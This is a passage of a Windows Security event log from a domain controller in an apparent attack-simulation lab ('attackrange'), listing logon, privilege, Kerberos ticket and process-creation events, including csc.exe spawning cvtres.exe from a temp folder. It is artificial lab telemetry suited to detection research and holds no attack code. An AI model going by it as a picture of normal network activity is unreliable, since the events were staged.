Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CF09 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251284 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EE71 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251283 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EE71 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251282 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251281 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251280 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251279 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EE55 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251278 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EE55 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251277 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EE55 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251276 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251275 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251274 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251273 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EDDE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251272 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12E45E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251271 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12D10C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251270 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EDDE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251269 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EDDE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251268 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251267 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251266 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251265 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CCB9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1350 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdb0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESEFCB.tmp" "c:\Users\Administrator\AppData\Local\Temp\w0dtvdde\CSC2B1898E693A44C53B48746C623F2D172.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251264 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12ECEC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251263 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x12ECEC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64516 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251262 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12ECEC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251261 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12EC75 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251260 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x12EC75 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64515 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251259 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12EC75 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251258 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12EBCB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251257 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x12EBCB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64514 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251256 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12EBCB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege 